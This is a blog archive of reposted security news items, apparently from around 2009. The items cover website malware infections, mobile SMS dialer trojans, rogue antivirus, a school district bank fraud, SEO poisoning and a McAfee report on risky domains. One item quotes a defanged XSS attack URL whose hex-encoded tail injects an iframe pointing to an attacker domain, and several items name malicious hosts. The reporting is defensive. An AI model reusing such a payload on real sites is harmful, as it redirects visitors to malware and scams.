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Archive for the ‘Malware’ Category

Domestic appliance manufacturer Whirlpool has come under fire for failing to clean up a malware infection on one of its sites, months after it was notified of a problem by UK anti-virus firm Sophos.

Sophos tried for months to clean-up its Kitchenaid.com website, without success, before going public on the problem on Friday. The kitchen utensil selling site remains infected with the Badsrc-C (AKA Asprox) strain of malware five months after a Sophos customer reported a problem, which the security firm forwarded to the white goods firm.

The malicious script points towards nowhere at present, so there isn’t an immediate risk. The problem is that this may change at any time, hence the need for remedial action that Whirlpool seems reluctant to take.

“I and several of my colleagues have been trying to talk to contacts at KitchenAid and Whirlpool to inform them of the issue and offer assistance. We have consistently hit brick walls,” reports senior Sophos threat analyst Paul Baccas.

Whirlpool’s lack of action is symptomatic of a wider problem. Reports of malware problems on websites are hard even for security firms to send to the right person, are often disregarded and sometimes met with indignation, Baccas writes.

The Asprox strain of malware still lingering on Kitchenaid.com’s website has been linked to phishing spam. SQL injection attacks on vulnerable website have been a preferred method for spreading malware.

Credit: The Register

After taking a long hiatus, trojan dialers that can rack up thousands of dollars in charges are back by popular demand.

According to researchers at CA Security’s malware analysis lab, a new wave of malicious dialers is hitting users of mobile phones. The trojans are built on the Java 2 Micro Edition programming language and cause infected handsets to send SMS messages to high-cost numbers, at great expense to the victim.

“As soon as the application is loaded, this malicious software starts to send premium text messages,” CA warned on Tuesday. “The messages sent out are in the typical format to invoke premium services and land the mobile user with heavy mobile bills without the user’s knowledge and consent.”

Malware that automatically dials pricey premium numbers was all the rage a decade ago, when dial-up internet services required computers to connect to a phone line. With the growth of broadband connections the frequency of dialers waned.

When malware application, which is a JAD file, is loaded on the mobile device, a typical user interface screen is displayed:

The JAD application however is packaged with a data file (load.bin) that has a list of high-cost destination numbers. The malicious application uses this bin file to form the text messages with the desired premium destination. As soon as the application is loaded, this malicious software starts to send premium text messages.

The explosion of smart phone that can run software made by anyone has given malicious dialers a new lease on life. And as was the case in the days of yore, they mostly tap into porn services.

Credit: The Register, CA Security

Websense Security Labs has detected that search results on office.microsoft.com can lead users to a Rogue AV page.

Users looking for information related to help with Office products on Microsoft’s own site are being targeted. Users may be unaware that, when they type in search queries on the site, Microsoft scours its own Web site for results, but also pulls in results from the broader Web. As the URL for the search results begins with http://office.microsoft.com, this is particularly troubling for users who trust sites simply because of their reputation.

The malicious URL is a redirect to a very real-looking virus scan and warning page presented by a Rogue AV program (SHA1: 6489c54e30af18801a9e83a5855fa639f3bae0b8). The executable used in the exploit is currently recognized by 1 of the 41 AV engines on Virus Total.

Credit: Websense Security Labs

Cybercrooks managed to transfer over three million dollars out of the bank accounts of the Duanesburg Central School District over the course of three days in December. The bank managed to recover $2,5 million of the stolen funds, but $500,000 are still missing.

Duanesburg is a town in Schenectady County, New York, with a population of under 6,000. The Duanesburg Central School District serves around 1,000 students and has an annual budget of under $15 million.

District officials learned of the fraudulent transfers when a NBT Bank employee called them on Dec. 22 to confirm several pending overseas transfers totaling $759,000. After stopping the unauthorized transactions, the bank also notified the district that an additional $1,190,400 was transferred out of its accounts on the previous day and another $1,862,400 on December 18.

The district contacted the FBI and the New York State Police, who immediately opened an investigation into the incident. Meanwhile, the bank got in touch with overseas financial institutions and was able to recover $2.5 million of the illegally transferred money.

“Thanks to NBT Bank’s aggressive pursuit of the stolen funds, we are fortunate that the vast majority of the money has been recovered. However, $497,200 of Duanesburg taxpayers’ money is still missing, and we are committed to doing everything in our power to recover the remaining funds,” the district officials wrote in a letter to parents and community members.

The circumstances that led to the compromise of the bank account are yet to be determined, but chances are that it started with a malware infection, like in many similar cases reported last year. However, there are certain aspects of this incident that suggest the fraudsters are not very skilled in such hits.

For starters, the money was transferred in high amounts. In previous cases, the attackers kept transfers under $10,000 to avoid automated systems flagging them. Furthermore, the money was transferred directly to overseas accounts, which made it possible for the bank to recall it. Skilled fraudsters transfer the stolen money to the accounts of local individuals known as “money mules,” who then withdraw and wire it outside of the country. Wire transfers cannot be reversed.

As a precaution, the district closed all of its accounts and opened new ones with restrictions for online access. It is not clear what these restrictions are, but the FBI and the American Bankers Association recently recommended that online banking be made from dedicated computers.

Credit: Softpedia News

Hackers on Thursday exploited a vulnerability on Ain’t It Cool News (http://aintitcool.com) that redirected anyone visiting the movie review site to a server containing a malicious Adobe Reader file.

The attack targeted a vulnerable PHP script on one of AICN’s servers that automatically appended the malicious link to banner ads served on the site, its publisher, Roland De Noie, said. As a result, anyone visiting the site over a 90-minute period on Thursday morning was silently redirected to speedconnection.cn which served a malicious file named annonce.pdf.

The booby-trapped PDF, according an analysis by researchers at Praetorian Prefect, exploited two vulnerabilities in Adobe Reader that the company has already fixed. When the file is opened by unpatched versions of Reader, it launches malicious shell code that hijacks the machine. Only 12 of the 41 major anti-virus programs currently detect the trojan, according to VirusTotal analysis.

In September, Mozilla found that more than half of Firefox users used insecure versions of Adobe Flash. It wouldn’t be surprising to find a similarly large proportion of the population using out-of-date versions of Reader, too.

“The point of weakness was actually our own ad server,” De Noie said. The unknown attackers “had cracked through a PHP server flaw and appended this link to all the ads.”

AICN has yet to warn its users that they may have been attacked. De Noie said his staff was still collecting information. The attack came as a shock to some AICN readers, many who consider themselves enthusiasts of science-fiction, fantasy and horror films.

Credit: The Register

Scareware slingers have begun hiding links to rogue anti-virus sites behind Google Doodle. The development leaves surfers who click on Google’s picture of the day at risk of being exposed to sites that run fake security scans, before strong-arming users into buying worthless software in order to clean-up non-existent security risks

Scammers have been manipulating the search engine ranking of terms in the news to promote scamware portals for months. In the latest twist to this wheeze, fraudsters poisoned the sites offered up to surfers who clicked on Google’s front-page Doodle sketch, dedicated to the 150th anniversary of birth of the creator of the Esperanto language, L. L. Zamenhof, on Tuesday.

The latest variant to previous black hat search engine optimisation techniques resulted in links to hacked pages on legitimate websites, including a hair Salon in New Jersey and a science fiction site. Users visiting these sites via Google (and only via Google) are redirected towards scareware scam portals.

Tainted results appeared among the top five to 10 search results for people who clicked on the Google doodle link on Tuesday, according to security researchers at Barracuda Networks. “Poisoning as a trend is nothing new, but in this particular case, it’s a search where you actually click on Google’s logo and you get results back from sites where half of the links have been compromised,” Dave Michmerhuizen, said a research scientist at Barracuda Networks.

Google, which stated other search engines are also targeted by black hat search engine optimisation techniques, said most of the tainted links were quickly removed from its index. Google uses a combination of continuously-refined automated and manual processes to clean-up its index, a spokesman for the search engine giant added.

Google and security researchers are in a continuous battle against distributors of rogue anti-virus scanners, one of the most prevalent information security threats contaminating the internet at present. FBI estimates out this week suggest that the scareware market brought in $150m in illicit income over an unspecified period.

Credit: The Register

Malware purveyors are exploiting web vulnerabilities in appleinsider.com, lawyer.com, news.com.au and a dozen other sites to foist rogue anti-virus on unsuspecting netizens.

The ongoing attacks are notable because they use exploits based on XSS, or cross-site scripting, to hide malware links inside the URLs of trusted sites. That’s something application security expert Mike Geide doesn’t see often. As a result, people who expect to visit sites they know and trust are connected to a page that tries to trick them into thinking their computer is infected.

“What’s interesting … is the fact that it’s embedding iframes to redirect people,” said Geide, who is a senior security researcher at Zscaler. “Typically, cross-site scripting is just that - it embeds script tags so it will embed javascript to run.”

The malicious links are blasted out on web forums and typically look something like:

hxxp://lawyers.com/find_a_lawyer/content_search/results.php?sCHRISTINA%AGUILERA%20ANOREXIC%20PICS%3C%2F%74%69%74%6C%65%3E%3C%69%66%72%61%6D%65%20%73%72%63%3D%2F%2F%61%73%6B%35%2E%65%75%3E

The last chunk of test is hexadecimal-encoded HTML that redirects users to ask5.eu (do not visit). A series of redirect links ultimately leads to a site that looks similar to a Microsoft Windows screen with a popup claiming the PC is overrun with malware. The user is prompted to download rogue anti-virus to fix the imaginary problem.

While it’s not the most convincing attack we’ve ever seen, there’s nothing to stop attackers from using the same technique to push web-based exploits, say the Adobe Reader zero-day attack that’s now circulating in the wild.

The links work because appleinsider.com and the rest of the sites being abused fail to filter out harmful characters used in XSS attacks. Here are a few examples with some of the malicious XSS advertisements (do not follow these or other “hxxp” URLs below):

Credit: The Register, Zscaler.com

A security researcher has identified a new attack that has infected almost 300,000 webpages with links that direct visitors to a potent cocktail of malicious exploits.

The SQL injection attacks started in late November and appear to be the work of a relatively new malware gang, said Mary Landesman, a researcher with ScanSafe, a web security firm recently acquired by Cisco Systems. Hacked sites contain an invisible iframe that silently redirects users to 318x.com, which goes on to exploit known vulnerabilities in at least five applications.

At time of writing, this web search showed more than 294,000 webpages that contained the malicious script. Infected sites included yementimes.com, parisattitude.com and knowledgespeak.com.

People who visit infected pages receive an invisible link that pulls code from a series of sites tied to 318x.com. The code looks for insecure versions of Adobe Flash, Internet Explorer, and several other Microsoft applications, and when they are detected it exploits them to surreptitiously install malware known as Backdoor.Win3.Buzus.croo. The rootkit-enabled program logs banking credentials and may do other nefarious bidding, Landesman said.

At the moment, about two percent of the requests ScanSafe sees are for sites infected by the malicious link, an indication the threat is significant, Landesman said.

SQL injection attacks prey on web applications that fail to adequately inspect user supplied input before passing it off to a webserver’s backend database. They are a favorite way of adding malicious links and content to third-party websites and were also the the chink that allowed Albert Gonzalez and other hackers the toehold they needed to steal more than 130 million credit card numbers from card processor Heartland Payment Systems and four other companies.

The fingerprints on this latest attack lead Landesman to believe the perpetrators are new to the SQL injection game. More sophisticated mass attacks using the method, such as the Gumblar infection inject unique, dynamically-generated links that prevent researchers from being able to locate them using web searches.

Gumblar also uploads exploits directly to infected sites, which greatly complicates white hat efforts to clean up the mess. Rather than shutting down a single site that’s hosting the malware, thousands of mom and pop sites must be disinfected one at a time.

“I’m not convinced SQL injection is the method they’re most accustomed to,” Landesman said of the gang behind the most recent mass infection. “It’s almost as if they’re a seasoned attacker but this is their first foray into managing a wide-scale web attack.”

Credit: The Register

CA research blog recently published a list of threats to remind everyone about online safety this holiday season. Here are the top ten according to their list:

No. 1 - Avoid ‘Click-happy’ Accidents

Don’t be ‘Click-happy’ person, be cautious before clicking and following links.

No. 2 - Evil Greeting Cards

Watch your incoming emails! In the past we’ve seen Waledac malicious greeting cards such as “e-Cards”, “You’ve received a Greeting Card…” and recent ones are getting more personalized subjects like “Hello Darling”.

No. 3 - Phishing Tricks

Be aware of Phishers! Phishing email commonly targets PayPal, eBay and Amazon users although bank notification emails and credit card frauds are also on the top schemes of these financially motivated attackers.

No. 4 - Surfing Disaster

Surf the internet safely, make sure your online security protection is turned on(firewall, HIPS and anti-malware). Cyber threats uses blackhat search engine optimization to direct traffic to malicious websites.

Another surfing disaster is when you visit a legitimate website that is infected with Drive-by download.

No. 5 - Holiday Scammers

If it sounds too good to be true, then think again.

This scams may arrive in very powerful convincing strategy either by offering you a job, big discounts or winning from a lottery. In most cases, it provides instructions on how to claim the offer which often require users an initial sum of money or personal information like credit card details.

No. 6 - Charity Fraud

Are you in the mood of helping and giving this season?

Donate but make sure you know and understand the cause of your selected Charity organization. Avoid engaging into hasty decision by just following a good looking email or visiting unfamiliar website. Spend time to research and don’t hesitate to ask!

No. 7 - Deceptive Shopping Deals

In a gloomy economy, many of us try to maximize by finding the best deal for our money. Internet has been a great source of information and this includes discount coupons, gift cards and freebies. Scammers will often mislead users and often require money such as from joining/membership fee, selling items or getting credit card information.

For online shopper, please be aware of dubious “price-comparison” websites as well.

No. 8 - Dangerous Downloads & Installs

Spammed malware uses social engineering technique such as the “Delivery Problem”. This email message pretends to be coming from legitimate companies such as UPS, DHL and FedEx. The convincing looks and content often leads to manual download and installation of malicious program.

Another source of dangerous download and installs is when looking for pirated softwares.

No. 9 - Identity Theft

Holiday hackers, password stealers and banking trojans may take advantage of the festive season.

Social networking site is another notable target this season. This communities are source of communication and exchange where people get in-touch with friends and families by sending greetings, updates and showing photos and videos. Threats such as Koobface may take advantage of “happy mood” by deploying customized theme to increases its chances of infection.

No. 10 – Enable Security Protections

Be cautious about your online activity, enable online projection, update your security software and save energy by turning off your computer when not in-use (this also avoid inside and outsider threat sneak into your files).

Credit: CA Community Blogs, Methusela Cebrian Ferrer

Cameroon (.cm) web domains supplanted those in Hong Kong as most likely to harbour malware, with more than one in three (36.7 per cent) of domains registered in the West African country hosting viruses or malicious code.

The .cm used by Cameroon is a common typo for .com, a factor that security firm McAfee speculates may explain why cybercriminals have set up fake typo-squatting sites that lead to malicious downloads or spyware under the country’s domain.

Meanwhile Hong Kong (.hk) websites have successfully managed to purge themselves of malware threats – droppings from the most risky domain last year, to a mid-table (34th) position next year. This year only 1.1 per cent of .hk sites pose a risk, compared to one in five .hk Web sites setting off warning bells in McAfee’s equivalent report last year. McAfee credits “aggressive measures” from .hk’s domain managers in clamping down on dodgy registrations for the drop.

Hong Kong’s newly-minted net sainthood contrasts with the position in the People’s Republic of China (.cn), which appears in second spot in McAfee’s list of shame.

“This report underscores how quickly cybercriminals change tactics to lure in the most victims and avoid being caught,” said Mike Gallagher, chief technology officer for McAfee Labs. “Last year, Hong Kong was the riskiest domain and this year it is dramatically safer.

“Cybercriminals target regions where registering sites is cheap and convenient, and pose the least risk of being caught.”

McAfee’s third annual Mapping the Mal Web report names Irish (.ie) sites as the safest in EMEA, with only Japanese (.jp) sites ranking lower in risk globally. British websites hold a relatively safe berth, appearing in 55th place on McAfee’s list of shame.

Websites ending in “.com” came out as the second most risky domains in 2009, moving up from the ninth spot last year. By contrast, government (.gov) domains were the safest non-country domain.

McAfee analysed 27 million websites and 104 top-level domains using its SiteAdvisor and TrustedSource technology in compiling its report. SiteAdvisor tests websites for browser exploits, phishing, excessive pop-ups and malicious downloads, while TrustedSource offers a reputation system that tracks web traffic patterns, site behaviour, hosted content and more, to gauge site security risks.

The security firm reckons 5.8 per cent (or more than 1.5 million web sites) pose a security risk of one kind or another.

The top five riskiest country domains online for 2009, according to McAfee:

1. Cameroon (.cm)
2. PR of China (.cn)
3. Samoa (.ws)
4. Phillipines (.ph)
5. Former Soviet Union (.su)

Credit: The Register